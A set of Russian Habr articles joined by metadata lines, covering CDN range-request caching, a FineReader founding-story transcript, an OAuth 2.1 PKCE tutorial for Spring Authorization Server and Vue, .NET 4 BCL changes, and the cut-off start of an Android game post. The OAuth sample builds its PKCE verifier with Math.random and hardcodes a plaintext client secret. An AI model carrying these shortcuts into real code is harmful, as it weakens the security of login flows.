Запросит 52 байта с конца. Т.е. последнюю свечу. Теперь, зная последний момент времени последней свечи, зная, из ответа, общий размер “файла”, можно вычислить общее количество свечей, а отсюда и определить байтовый интервал для запроса нужной временной экспозиции.
Если вам вдруг захотелось задать вопрос — зачем такие сложности? Прошу вернуться к поставленным целям. Данная технология “замаскировала” аналитические запросы к БД в бинарные файлы для CDN и браузера. Это позволяет большую часть повторяющихся запросов переложить на CDN и конечного клиента.
Возможно, возникнет еще вопрос — а почему бы не использовать простое кеширование GET запросов? Хорошо. Давайте разбираться. Если мы выполним вот такой запрос в классическом REST:
`GET /api/v1/candles/7m?from=01-03-2018&to=31-03-2018`
Мы получим уникальный кэш для этого запроса. Выполнив следующий запрос:
`GET /api/v1/candles/7m?from=15-03-2018&to=20-03-2018`
Мы получим еще один уникальный кэш…. хотя, обратите внимание, второй запрос запрашивает данные входящие в ответ первого.
Так вот, в случае выше предложенной реализации (range), второй запрос не сформирует отдельного кэша, а использует уже полученные данные из первого запроса. И не полезет на сервер. А это, экономия размера кешей и уменьшение количества обращений к серверу.
Есть ли минусы у данной технологии? Да. Они очевидны:
1. Эта технология плохо подходит для меняющихся со временем данных, т.к. базируется на тотальном кешировании.
2. CDN CloudFlare кэширует файлы только целиком. Это значит, что если конечный клиент запросит интервал скажем, с 1 по 100 байт, то CloudFlare реально запросит с сервера весь файл. Т.е. в нашем случае, он загрузит все свечи с определенной экспозицией. Положит у себя и будет уже раздавать сам. Это можно было бы считать даже плюсом, если бы не ограничения по месту. И если у вас могут формироваться “тяжелые” ответы, а параметров множество, то… В общем понятно, что место кончится. Возможно, мы так и не смогли его правильно настроить. Но пока результат таков.
3. Требуется с умом управлять кешами. Для этого есть достаточные механизмы, но они требуют тюнинга.
4. Frontend должен уметь парсить бинарные данные и иметь на борту что-то аля dataset для работы с range запросами.
Я бы сформулировал целесообразность реализации этой стратегии так — когда она вам понадобится, вы поймете. Если сейчас есть сомнения, полезно знать о ней, но не стоит заморачиваться. | https://habr.com/ru/post/424415/ | null | ru | null |
# Давид Ян (ABBYY) о том, как был создан FineReader
Был недавно на встрече некого клуба, где выступал Давид Ян (основатель компании ABBYY). Часть выступления записал на телефон. Расшифровку записи представляю Вашему вниманию.
`--------------------------------`
Если компания выходит на рынок и на этом рынке уже есть что-то похожее, то, об этом можно прочитать во многих книжках, в частности по ведению военных стратегий. Идея основная заключается в следующем: Чтобы не сталкиваться с сильным конкурентом что называется «на его поле». То есть необходимо находить своё поле боя, там где конкурент абсолютно беззащитен и никогда не собирался даже выставлять силы.
Приведу пример: в своё время мы выходили с продуктом под названием Fine Reader. В 92 году ко мне подошел Костя Анисимович, наш technology officer, и сказал «давай сделаем нашу собственную систему распознавания». Это выглядело абсолютно как безумие, потому что мы сами продавали другую систему распознавания под названием «Authors», были её дилерами.
Продавая эту систему, мы сталкивались с жесточайшей конкуренцией на российском рынке, там были программы под названием Тайгер, Униформ, Интуиция, ещё какие-то программы российского производства. Были программы западного производства (перечисляет), могу назвать десяток сильных систем западных, которые тогда существовали и были лидерами на международном рынке. И слова «давай сделаем свою» выглядели как безумие, потому что это означало: давай проинвестируем супер большие деньги, много ресурсов, талантливых лучших наших голов с абсолютно неизвестным результатом.
Вопрос, а чем мы будем лучше?, что мы можем сделать того, чего они не сделали до сих пор? Потому что мы уступаем, у них есть фора несколько лет разработок, помноженная на десятки людей в команде разработчиков, то есть несколько десятков человеколет форы у них есть. И конечно же очень страшно вступать в такую борьбу.
Но так как мы вышли родом из физтеха и нам всегда казалось море по колено, мы как-то так почесали голову и сказали «А, сделаем».
Мы на самом деле начали действовать следующим образом. Мы параллельно посадили две команды. Одна команда разрабатывала Finereader 1.0, другая команда разрабатывала Finereader 2.0. Абсолютно две разные команды. Первой команде была задача сделать быстро систему распознавания, и выйти, это был очень важный момент, то что называется time to market, то есть надо было выйти на данные позиции быстро. Какие позиции?
Мы обнаружили, что, тут далеко не надо было ходить, основным параметром, по которому оценивались системы распознания, это была точность распознавания. То есть сколько программа допускает ошибок при вводе текста. И на этом самом главном параметре мы должны был проиграть, потому что это действительно требует человеколет на технологии искусственного интеллекта связанные с распознаванием различных форм букв, дефектами печати, замятия бумаги, плохая ксерокопия и всё такое. Мы скорее всего должны были проиграть на самом главном параметре, как же нам воевать?
Мы выяснили, что на самом деле люди в России сканируют тексты технического плана, экономического плана, двуязычные тексты. То есть на ряду с русским основным текстом обязательно встречаются латинские термины, бренды и тд. И существующие системы, да они тогда были лидерами по точности распознавания одноязычного текста, в результате все слова иностранного языка они заменяли, грубо говоря, звездочками, их надо было перебивать заново. Мы решили сделать интеллектуальную двуязычную систему, которая будет автоматически отличать русскую букву у от латинской буквы u по контексту, или русскую букву р от латинской буквы p которую визуально отличить невозможно, только можно отличить по контексту.
Мы сделаем интеллектуальную систему, которая будет распознавать двуязычные тексты. Да, она будет допускать больше ошибок, и она допускала в начале больше ошибок, но интегрально, когда вводился двуязычный текст, он на самом деле содержал меньше ошибок в этом понимании, меньше звездочек и это очень сильно оказалось востребованным на рынке. Вторая вещь, которую мы сразу же заложили в систему это так называемая унишрифтовость, то есть её не надо было обучать. Тогда старые системы распознавания надо было обучать шрифту, прежде чем приступать к распознаванию. Там ещё некоторые элементы, она была первая на Виндовс.
Выходить с этим предложением ни через год, а через два года было абсолютно рискованным, потому что наши конкуренты дышали в затылок, и они должны были выпустить такую же двуязычную, такую же под Виндовс, такую же унифонтовую систему там через два года. Мы могли только выйти на через год. Мы нашли методы, вместе скооперировались с группой разработчиков. И сделали буквально через 10 месяцев. Это было трудно в это поверить, но через десять месяцев, в августе 1993 мы продали первые 40 экземпляров Finereader 1.0 который обладал этими функциями.
Таким образом, заняв позицию на рынке как первую на рынке под Виндовс, интеллектуальную, без настройки на шрифт и двуязычную.
И началась ожесточенная борьба, тесты в прессе. Конкуренты были абсолютно ошеломлены тем, что мы вышли из-за угла. Казалось бы у нас меньше опыт разработки и так далее, но мы нашли ту поляну, ту нишу рыночную, где они оказались совершенно не подготовленными. Они совершенствовали все эти годы свою точность распознавания на одном языке. И пока мы боролись с ними в прессе, пока пресса то сравнивала одноязычные тексты мы проигрывали, то она сравнивала реальные двуязычные тексты мы выигрывали, пока всё там баталии происходили, другая группа занималась Finereader 2.0
И через три года мы наконец то выпустили абсолютно на новых технологиях Finereader 3.0 которая обладала всеми преимуществами Finereader 1.0, но при этом она уже была очень сильно конкурентоспособна по своему главному параметру, точность распознавания одноязычного текста. И в этот момент мы вдруг обнаружили, что она лучше не только на русских текстах, но она лучше американских систем на английских текстах. Мы ещё через год начали её продавать за рубежом под другим названием. …
В какой-то момент мы начали побеждать по всем параметрам. Последний параметр, скорость распознавания, мы хромали по этому параметру ещё некоторое время. Потому что да, у нас было выше качество, но мы проигрывали по скорости. Но скорость пол минуты или одна минута распознавания, когда машинистка при этом тратит 15 минут на туже страницу, это было уже на самом деле не так значительно для пользователя. В результате мы вот так совершенно на краю пропасти, с большой группой разработчиков проехали эти несколько лет, пока не закрепились основательно и по всем параметрам. По точности распознавания, по количеству языков, по удобству интерфейса, по всем практически параметрам мы начали опережать. Ну, Российских наших коллег мы обогнали в конце 90-х, а в начале 2000-х мы занял прочную позицию на европейских рынках, американских. И результативно, сейчас по количеству лицензий, которые поставляются в мире, системы распознавания мы лидируем…
Вот такая история, как в тот момент удалось нам эту поляну найти.
`--------------------------------`
П.С. Продолжение последует, если это кому окажется интересным. Просто так расшифровывать не хочется, процесс достаточно трудоёмкий. | https://habr.com/ru/post/88852/ | null | ru | null |
# Oauth 2.1 spring authorization server + SPA
Доброго всем дня, уважаемые хабровчане!
До сего момента я являлся лишь читателем этого замечательного ресурса, но вот кажется и пришло время написать мою первую статью.
Oauth 2.1 - дальнейшее развитие популярного фреймворка авторизации Oauth 2.0, который на момент написания статьи всё ещё вроде как находится в стадии черновика. Но тем не менее уже начинает применяться. На хабре уже есть более подробная [статья](https://habr.com/ru/post/535174/) на эту тему.
Из не очень приятного, из Oauth 2.1 убраны варианты получения токена:
* implict
* password
Но взамен мы получаем поддержку PKCE как для публичных клиентов, так и для приватных.
И вот хочу вынести на ваш суд небольшой пример реализации получения токенов на [spring authorization server](https://spring.io/blog/2022/06/20/spring-authorization-server-0-3-1-available-now) (на момент написания статьи версия 0.3.1) и SPA на Vue.js.
Немного кода:
```
@Bean
public RegisteredClientRepository registeredClientRepository() {
RegisteredClient registeredClient = RegisteredClient.withId(UUID.randomUUID().toString())
.clientId("browser-client")
.clientSecret("{noop}secret")
.clientAuthenticationMethod(ClientAuthenticationMethod.NONE)
.authorizationGrantType(AuthorizationGrantType.AUTHORIZATION_CODE)
.authorizationGrantType(AuthorizationGrantType.REFRESH_TOKEN)
.redirectUri("http://127.0.0.1:8081/code")
.scope(OidcScopes.OPENID)
.scope("browser.read")
.build();
return new InMemoryRegisteredClientRepository(registeredClient);
}
```
На сервере регистрируем клиента и в первую очередь интересует нас вот эта строка `.clientAuthenticationMethod(ClientAuthenticationMethod.NONE)`
она настраивает то, каким способом будет авторизоваться наш браузерный клиент, в случае NONE, авторизация клиента не требуется, но в этом случае, будут выданы только access\_token, и если необходимо id\_token, refresh\_token в случае публичного клиента выдаваться не будет.
Теперь код клиента:
```
login() {
var codeVerifier = this.generateRandomString(64);
Promise.resolve()
.then(() => {
return this.generateCodeChallenge(codeVerifier)
})
.then(function(codeChallenge) {
window.sessionStorage.setItem("code_verifier", codeVerifier)
let args = new URLSearchParams({
response_type: "code",
client_id: 'browser-client',
redirect_uri: 'http://127.0.0.1:8081/code',
state: '1234zyx',
code_challenge: codeChallenge,
code_challenge_method: 'S256',
scope: 'openid browser.read'
});
window.location = "http://127.0.0.1:9000/oauth2/authorize?" + args;
});
},
async generateCodeChallenge(codeVerifier) {
var digest = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(codeVerifier));
return btoa(String.fromCharCode(...new Uint8Array(digest)))
.replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_')
},
generateRandomString(length) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < length; i++) {
text += possible.charAt(Math.floor(Math.random() * possible.length));
}
return text;
}
```
Формируем url для перехода на сервер авторизации, тут всё стандартно, разве что не нужно указывать client\_secret, а вместо него формируются 2 поля code\_challenge и code\_challenge\_method. code\_challenge - альфанумерик произвольная строка и code\_challenge\_method - метод её шифрования. Они будут запомнены на сервере и при обмене кода доступа на токен будут проверяться.
Так же нам в браузере необходимо сохранить исходную строку window.sessionStorage.setItem("code\_verifier", codeVerifier), в запросе обмена кода на токен эта строка так же будет отправляться на сервер и будет там сверена с отправленными ранее code\_challenge и code\_challenge\_method. Вот собственно вторая часть кода, обмен кода доступа на токен:
```
router.beforeEach((to, from, next) => {
if (to.path == '/code' && to.query.code != null) {
let formData = new FormData()
formData.append('grant_type','authorization_code')
formData.append('code',to.query.code)
formData.append('redirect_uri','http://127.0.0.1:8081/code')
formData.append('client_id','browser-client')
formData.append('code_verifier',window.sessionStorage.getItem("code_verifier"))
axios.post('http://127.0.0.1:9000/oauth2/token',
formData,
{
headers: {
'Content-type':'application/url-form-encoded'
}
}
).then(resp => {
console.log(resp.data)
window.sessionStorage.setItem("_a", resp.data.access_token);
})
next({name: 'Index'})
} else {
next()
}
})
```
Так как я использовал Vue.js и vue-router перехватом вызова занимается непосредственно роутер. И так если у нас произошёл вызов с путём /code и в запросе присутствует параметр code, роутер его перехватит, сформирует форму и отправит её на эндпоинт обмена кода на токен и в ответ мы получим собственно access\_token (и id\_token если у нас на сервере настроен .scope(OidcScopes.OPENID) и в первом запросе в скопах есть scope: 'openid').
Теперь немного нюансов.
Если на сервере у нас метод авторизации клиента .clientAuthenticationMethod(ClientAuthenticationMethod.CLIENT\_SECRET\_BASIC), а в запросе обмена кода на токен мы добавим заголовок 'Authorization':'Basic '+btoa('browser-client:secret'), то наш клиент становится конфиденциальным и в этом случае кроме access\_token мы так же получим и refresh\_token. Но как говорит нам спецификация, рефреш токен не должен храниться в браузере, так как нет способа гарантированно хранить его там безопасно.
Весь код можно посмотреть на [GitHub](https://github.com/nomatter18/oauth2.1-spring-authorization-server-vue).
На этом пожалуй всё, Надеюсь статья будет кому то полезна и интересна.
Спасибо! | https://habr.com/ru/post/688680/ | null | ru | null |
# .NET 4.0: что нового в базовых классах (BCL)? Подробный обзор
Visual Studio 2010 и .NET Framework 4 Beta 2 уже доступны для [загрузки](http://msdn.microsoft.com/en-us/vstudio/dd582936.aspx). .NET 4 Beta 2 содержит некоторое количество нового функционала и улучшений в базовых классах (BCL) в дополнение к тем, которые мы представили ранее в [.NET 4 Beta 1](http://blogs.msdn.com/bclteam/archive/2009/05/22/what-s-new-in-the-bcl-in-net-4-beta-1-justin-van-patten.aspx). Многие эти улучшения были произведены благодаря отзывам и рекомендациям от клиентов, полученным через [Microsoft Connect](https://connect.microsoft.com/VisualStudio/content/content.aspx?ContentID=14625).
> **От переводчика**: эта статья содержит описание изменений в базовых класса, которые были произведены от версии Beta 1 до Beta 2. В конце статьи я привел ссылку и краткий список того, что было добавлено в базовые классы .NET 4.0 ранее.
### **Общий список улучшений в .NET 4 Beta 2**
* Тип Complex;
* Location;
* IObservable;
* Stream.CopyTo;
* Guid.TryParse, Version.TryParse, and Enum.TryParse;
* Enum.HasFlag;
* перегруженные String.Concat и String.Join принимают IEnumerable;
* String.IsNullOrWhiteSpace;
* дополнения в Environment.SpecialFolder;
* Environment.Is64BitProcess и Environment.Is64BitOperatingSystem;
* поддержка параметров Path.Combine;
* глобализация при форматировании и разборе TimeSpan;
* Stopwatch.Restart;
* StringBuilder.Clear;
* дополнения в IntPtr и UIntPtr и операторы Subtraction;
* ServiceProcessInstaller.DelayedAutoStart;
* тип ObservableCollection перенесен в System.dll.
### **Тип Complex**
> *прим. перев.: этот тип можно использовать подключив самостоятельно сборку System.Numerics.dll. Кроме того, еще немного информации можно почерпнуть в [этой статье](http://weblogs.asp.net/gunnarpeipman/archive/2009/10/23/net-framework-4-0-complex-numbers.aspx)*
>
>
Тип System.Numerics.Complex представляет собой комплексное число, включающее в себя значения вещественного числа и мнимого числа. Complex поддерживает как декартовы координаты (вещественные и мнимые), так и полярные координаты (величина и период измеряются в радианах) и поддерживает арифметические и тригонометрические операции. Комплексные числа используются в ряде областей, включая высокопроизводительные вычисления, построениях графиков и диаграм, электронике (т.н. преобразования Фурье) и в других областях.
### **Location**
System.Device.Location (который расположен в System.Device.dll) позволяет .NET-приложениям запущенным на Windows 7 определять текущую геолокацию (т.е. широту и долготу) устройства на котором приложение запущено. Windows 7 поддерживает ряд разнообразных датчиков местоположения, включая устройства GPS и радио WWAN (WWAN radios), и может автоматически переключаться между датчиками, когда они доступны, для получения наиболее точных данных в конкретной ситуации. .NET-приложения смогут использовать эти API для получения доступа к следующим данным: долгота, широта, высота, горизонтальная и вертикальная точность, направление, скорость и городской адрес (т.е. страну/регион, штат/область, город, почтовый индекс, улицу, номер дома, этаж). **Учтите, что мы планируем внести некоторые изменения в структуру location-API в следующем выпуске .NET RC**, так что имейте это в виду, когда соберетесь оценивать и использовать location-API beta 2 в своих приложениях. Мы расскажем побольше о запланированных изменениях в следующих статьях в этом блоге.
### **IObservable**
System.IObservable и System.IObserver реализуют основной механизм для push-уведомлений и могут исопльзоваться для создания push-коллекций или по-другому – наблюдаемых (*observable*) коллекций. Любой, кто знаком с паттернами, узнает в этих интерфейсах реализацию широкоизвестного паттерна *наблюдатель* (observer). IObservable приоткрывает дверь для новых замечательных парадигм разработки на .NET основанных на событиях и асинхронном программировании. Отличный пример этому – [Reactive Framework](http://channel9.msdn.com/shows/Going+Deep/Expert-to-Expert-Brian-Beckman-and-Erik-Meijer-Inside-the-NET-Reactive-Framework-Rx/) (RX), библиотека методов расширения (не входит в .NET 4), которая реализует операторы LINQ Standard Query Operators и другие полезные потокоизменяющие (stream transformation) функции для IObservable. События первого класса (first-class) F# [прим. перев.: больше о first-class событиях и чем они отличаются от событий .net можно почитать в [этой заметке](http://blogs.msdn.com/dsyme/archive/2006/03/24/559582.aspx)] так же поддерживают IObservable и, кроме того, F# содержит библиотеку операторов для обозревателей похожую на RX. Представьте себе возможность создавать LINQ-запросы к событиям, это как раз то, что IObservable позволяет делать. Для закрепления знаний о силе IObservable я рекомендую посмотреть серию видео Эрика Мейджера “Знакомство с RX” (Erik Meijer [introducing RX](http://channel9.msdn.com/shows/Going+Deep/Expert-to-Expert-Brian-Beckman-and-Erik-Meijer-Inside-the-NET-Reactive-Framework-Rx/)) на Channel 9 и обсуждение [discussing IObservable in the BCL](http://channel9.msdn.com/shows/Going+Deep/Kim-Hamilton-and-Wes-Dyer-Inside-NET-Rx-and-IObservableIObserver-in-the-BCL-VS-2010/) между Везом Дайером (Wes Dyer) и Ким Гамильтон (Kim Hamilton).
Вы могли подумать, что IObservable приходит на замену событиям в .NET. Однако, ответ: “нет”, но вы и в самом деле можете использовать IObservable вместо событий, если захотите. События – это хорошо известный механизм уведомлений в .NET и он отлично знаком .NET-разработчикам. Поэтому, мы рекомендуем продолжать использовтаь события как основной механизм уведомлений для .NET API. Одна из самых классных вещей в IObservable – это то, что конвертация существующего события в IObservable – простейший процесс. RX предосталяет для этого встроенные методы, а F# содержит встроенную поддержку на уровне языка. Оставайтесь с нашим блогом для большего количества новостей о RX в будущем.
### **Stream.CopyTo**
Как часто вы писали следующий стеретипный код во время работы с типом Stream для чтения из одного потока и записи в другой?
> `Stream source = ...;
>
> Stream destination = ...;
>
> byte[] buffer = new byte[4096];
>
> int read;
>
> while ((read = source.Read(buffer, 0, buffer.Length)) != 0)
>
> {
>
> destination.Write(buffer, 0, read);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В .NET 4 вам больше не придется писать такой код. Мы добавили для Stream новый метод CopyTo, который позволит написать так:
> `Stream source = ...;
>
> Stream destination = ...;
>
> source.CopyTo(destination);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### **Guid.TryParse, Version.TryParse, and Enum.TryParse**
Мы добавили метод TryParse в System.Guid, System.Version, и System.Enum. Enum.TryParse – это генерик (обобщение), приятное улучшение по сравнению с необобщенным методом Parse, которое позволяет писать более чистый код.
В предыдущих версиях .NET, чтобы распарсить значение перечисления, мы могли писать что-то вроде этого:
> `try {
>
> string value = Console.ReadLine();
>
> FileOptions fo = (FileOptions)Enum.Parse(typeof(FileOptions), value);
>
> // Success
>
> }
>
> catch {
>
> // Error
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В .NET 4 вы можете использовать обощенный метод TryParse:
> `string value = Console.ReadLine();
>
> FileOptions fo;
>
> if (Enum.TryParse(value, out fo))
>
> {
>
> // Success
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
> *Прим. перев.: здесь могло бы быть Enum.TryParse(value, out fo), но C# великолепный язык, компилятор которого сам все понимает*
>
>
### **Enum.HasFlag**
Мы добавили новые удобные для использования методы в System.Enum, которые позволяет супер-просто определить установлен ли флаг в перечислении Flags без нужды вспоминать битовые операторы. Это так же помогает делать код более читаемым.
В VB:
> `Dim cm As ConsoleModifiers = ConsoleModifiers.Alt Or ConsoleModifiers.Shift
>
> Dim hasAlt1 As Boolean = (cm And ConsoleModifiers.Alt) = ConsoleModifiers.Alt ' using bitwise operators
>
> Dim hasAlt2 As Boolean = cm.HasFlag(ConsoleModifiers.Alt) ' using HasFlag
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В C#:
> `ConsoleModifiers cm = ConsoleModifiers.Alt | ConsoleModifiers.Shift;
>
> bool hasAlt1 = (cm & ConsoleModifiers.Alt) == ConsoleModifiers.Alt; // using bitwise operators
>
> bool hasAlt2 = cm.HasFlag(ConsoleModifiers.Alt); // using HasFlag
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### **Перегруженные String.Concat и String.Join принимают IEnumerable**
Мы добавили новые перегруженные версии String.Concat и String.Join, которые принимают IEnumerable в дополнение к существующим перегруженным методам, которые принимают массивы. Это означает, что вы можете передавать любую коллекцию, которая реализует IEnumerable в эти API без лишней конвертации коллекции в массив. Мы так же добавили поддержку params в существующий перегруженный метод String.Join основанный на массиве, который теперь позволяет вам писать более короткий код.
> `String.Join(", ", new string[] { "A", "B", "C", "D" }); // you used to have to write this
>
> String.Join(", ", "A", "B", "C", "D"); // now you can write this
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### **String.IsNullOrWhiteSpace**
Этот новый удобный метод похож на существующий метод IsNullOrEmpty, но в дополнение к проверке строки на null или пустое значение, он так же проверяет строку на то, содержит ли она одни только пробелы (точнее, символ определенный в Char.IsWhiteSpace). Этот метод может быть полезен при работе с контрактами кода.
### **Дополнения в Environment.SpecialFolder**
Мы добавили несколько новых значений в перечисление Environment.SpecialFolder:* AdminTools
* CDBurning
* CommonAdminTools
* CommonDesktopDirectory
* CommonDocuments
* CommonMusic
* CommonOemLinks
* CommonPictures
* CommonProgramFilesX86
* CommonPrograms
* CommonStartMenu
* CommonStartup
* CommonTemplates
* CommonVideos
* Fonts
* LocalizedResources
* MyVideos
* NetworkShortcuts
* PrinterShortcuts
* ProgramFilesX86
* Resources
* SystemX86
* Templates
* UserProfile
* Windows
Кроме того, мы добавили новый перегруженный вариант метода Environment.GetFolderPath, который принимает перечисление SpecialFolderOption, позволяющее указать некоторые дополнительные опции, такие как “Create” (чтобы создать директорию, если она не существует) и “DoNotVerify” (для быстрого возврата пути без проверки на существование, что полезно когда директория является расшаренным в сети ресурсом).
### **Environment.Is64BitProcess и Environment.Is64BitOperatingSystem**
Эти новые полезные API упрощают определение битности (bitness) текущего процесса и операционной системы. Environment.Is64BitProcess – это эквивалент вызову IntPtr.Size == 8. Environment.Is64BitOperatingSystem сообщит вам является текущая операционная системы 64-битной. Имейте в виду, что Environment.Is64BitProcess может вернуть false, а Environment.Is64BitOperatingSystem – true в 32-битном процессе запущенном на 64-битной системе под [WOW64](http://msdn.microsoft.com/en-us/library/aa384249(VS.85).aspx).
### **Поддержка параметров Path.Combine**
Вы когда-нибудь делали вложенные вызовы Path.Combine вроде этих:
> `Path.Combine("dir1", Path.Combine("dir2", Path.Combine("dir3", "dir4")));
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
С .NET 4.0 вы можете написать это проще:
> `Path.Combine("dir1", "dir2", "dir3", "dir4");
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### **Глобализация при парсинге и форматировании TimeSpan**
В предыдущих версиях .NET тип TimeSpan поддерживался только для единственного культуро-независимого формата при форматировании и парсинге. Это означало, что когда вы вызывали ToString на французской машине вывод не совпадал с культурными настройками, что делало приложение неглобализованным. Чаще всего эта проблема возникала при отображении результатов из баз данных SQL, которые были представлены в широкоиспользуемом типе колонки Time. Это происходит потому, что Time из SQL отображается в тип TimeSpan в .NET. Например:
> `Thread.CurrentThread.CurrentCulture = new CultureInfo("fr-FR");
>
> Console.WriteLine(new TimeSpan(0, 1, 1, 1, 1));
>
> Console.WriteLine(12.34);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выходные данные:
> `01:01:01.0010000
>
> 12,34`
Выходные данные от TimeSpan.ToString находятся в культуро-независимым формате, так что на выходе исопльзуется '.' (точка) как разделитель для десятичных типов, тогда как Double использует ',' (запятая) основываясь на текущих настройках культуры.
В .NET 4 System.TimeSpan теперь поддерживает форматирование и парсинг основанный на установках культуры через новые перегруженные методы ToString, Parse и TryParse, а так же новые методы ParseExact и TryParseExact. Поведение ToString по умолчанию останется предыдущим и для обратной совместимости будет выводить результаты в старом виде. Новые пергруженные методы позволят вам указывать формат в зависимости от культуры. Вы можете передать “g”-формат (general format) для того, чтобы новый перегруженный вариант ToString использовал культуро-чувствительный формат:
> `Thread.CurrentThread.CurrentCulture = new CultureInfo("fr-FR");
>
> Console.WriteLine(new TimeSpan(0, 1, 1, 1, 1).ToString("g"));
>
> Console.WriteLine(12.34);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выходные данные:
> `01:01:01,0010000
>
> 12,34`
С этим новым форматом, выходные данные результатов TimeSpan совпадают с пользовательскими культурными настройками.
### **Stopwatch.Restart**
Это новый полезный метод – эквивалент вызова Stopwatch.Reset с последующим Stopwatch.Start.
### **StringBuilder.Clear**
В предыдущих версиях .NET вы могли очистить StringBuilder установив значение свойства Length в ноль. Это не совсем очевидно, поэтому мы добавили StringBuilder.Clear как более очевидный вариант.
### **IntPtr и UIntPtr и операторы Addition и Subtraction**
Добавление смещения для IntPtr или UIntPtr могло привести к ошибкам и, елси не было произведено корректно, часто было источником изощренных багов на 64-битных машинах. .NET 4 влючает операции дополнения и уменьшения для этих типов с методами Add и Subtract, для предотвращения такого типа ошибок.
### **ServiceProcessInstaller.DelayedAutoStart**
Сервисы основанные на .NET, которые запускаются автоматически, теперь могут устанавливать новое свойство DelayedAutoStart в true (рекомендуется), которое позволяет задержать старт сервиса пока загружаются остальные сервисы плюс установить коротку паузу для улучшения производительности загрузки системы при запуске на Vista и выше.
### **Тип ObservableCollection перенесен в System.dll**
Мы перенесли типы System.Collections.ObjectModel.ObservableCollection, System.Collections.ObjectModel.ReadOnlyObservableCollection и System.Collections.Specialized.INotifyCollectionChanged из WindowsBase.dll (WPF-сборка) в System.dll. Это позволит вам использовать эти типы без зависимости от сборок WPF и улучшит разделение между моделью и представлением.
Мы надеемся, что вам понравятся те нововведения, которые мы сделали в BCL в .NET 4 Beta 2. [Скачивайте Visual Studio 2010 и .NET 4 Beta 2](http://msdn.microsoft.com/en-us/vstudio/dd582936.aspx) сегодня. Дайте [нам знать, что вы думаете о этих вещах и сообщайте о багах](https://connect.microsoft.com/VisualStudio/content/content.aspx?ContentID=14625).
**От переводчика:**
Это был перевод статьи о нововведениях в .NET 4.0 Beta 2 по сравнению с Beta 1. Для того, чтобы ознакомится с новыми вещами, которые были добавлены в .NET 4 еще во время версий Beta 1 и CTP обратитесь к [этой статье](http://blogs.msdn.com/bclteam/archive/2009/05/22/what-s-new-in-the-bcl-in-net-4-beta-1-justin-van-patten.aspx). Здесь я приведу только общий список нововведений:* Контракты кода (**Code Contracts**)
* Параллельные расширения (**Parallel Extensions**)
* **BigInteger**
* Вариантные аннотации (**Variance annotations**)
* Кортежи (**Tuples**)
* **SortedSet**
* Улучшения в **File System Enumeration**
* Отображаемые в памяти файлы **(MemoryMappedFiles)**
* Улучшения в функцицонале по работе с реестром
* Данные глобализации обновлены согласно Unicode 5.1
* Улучшения в **ResourceManager**
* Улучшения в классах сжатия
[](http://progg.ru/NET-40-%D1%87%D1%82%D0%BE-%D0%BD%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE-%D0%B2-%D0%B1%D0%B0%D0%B7%D0%BE%D0%B2%D1%8B%D1%85-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0%D1%85-BCL-NET-%D0%A5%D0%B0%D0%B1%D1%80%D0%B0%D1%85%D0%B0%D0%B1%D1%80) | https://habr.com/ru/post/73359/ | null | ru | null |
# Разработать и опубликовать игру под Android за неделю
Задумал я как-то написать игру. Причем, по-быстрому. Желательно за неделю при условии работы на полставки. Финальным этапом должна была стать публикация на Google Play (что, конечно, недостаточно, но об этом позже). Таким образом, это будет статья о разработке в стиле "вжух-вжух и в продакшен", или, как сказали друзья "устроил себе Ludum Dare". Технических деталей будет, впрочем, немного.
После небольшого брейнсторма родилась идея "складывания ленты". Лента бесконечной длины, её можно сгибать под прямым углом (количество сгибов ограничено), и её "лицевая" и "изнаночная" стороны разного цвета. Так же есть контрольные точки "лицевого" и "изнаночного" цветов. Игрок выигрывает когда лента пройдёт соответствующими сторонами по всем контрольным точкам. Быстрый поиск не дал ничего похожего.
Следует отметить, что я понятия не имел о том насколько эта механика будет играбельная и возможно ли сделать хоть сколько-нибудь интересные уровни. Я, конечно, порисовал немного, поскладывал бумажную ленту, но не сильно долго. То есть мне, по всей видимости, повезло.
Настало время "выбирать инструмент под задачу" (главный аргумент в холиварах, да). С одной стороны никакого сложного 3D, и особо навороченой графики не планировалось, с другой стороны, короткие сроки, и желание чтобы разработка была приятной. Сразу попробовал писать на "голой" java с андроидовским sdk, благо заморочек планировалось немного, можно и на голом OpenGL было запилить. Через пятнадцать минут бросил. (да простят меня адепты, но многословный язык.). Потом вспомнил про Haxe и фреймворки для него (был небольшой опыт). Несколько минут гугления 2D фреймворков навели на HaxeFlixel. Важным бонусом haxe (и openfl/lime/flixel) была возможность отлаживать на десктопе (точнее, на таргете neko. Проект очень быстро собирается, работает с хорошей скоростью). Эмулятор из Android Studio, всё-таки тормозной, даже несмотря на аппаратное ускорение. Под android же собирается нативный код.
Но, всё-таки на десктопе "мышь", а на смартфоне "тачи", и у них, не смотря на кроссплатформенность естесственно разные API. Но это *единственный* платформо-зависимый код, который был написан.
Подводные камни
---------------
Весь стек содержит много "движущихся частей" (Android нескольких версий, Android SDK, neko, haxe, hxcpp, openfl, lime, flixel...), что повышает вероятность что что-то сломается. День (!) был потрачен на нормальную установку и настройку, плюс кое-какие проблемы появлялись по ходу разработки (у меня Ubuntu):
* neko и её стандартные библиотеки. Если использовать библиотеки от другой версии neko (что может произойти, например, при неосторожной установке из репозиториев, а потом с сайта), проект при запуске просто сегфолтится. Так как на neko работают и некоторые инструменты из стека, сегфолтятся и они.
* При переключении с NDK версии 22 на 23 приложение падает на реальном андроиде. Лечится пересборкой hxcpp с новой версией NDK.
* Map из стандартной библиотеки haxe в некоторых случаях не собирался для таргета cpp (Map, Карл!). Пришлось искать по коммитам соответствующие фиксы и ставить сборку в которй это было исправлено. К слову, забавно что разработчики haxe решили что после версии 3.3.0-rc1 будет 3.4.0-rc1, без стабильного релиза.
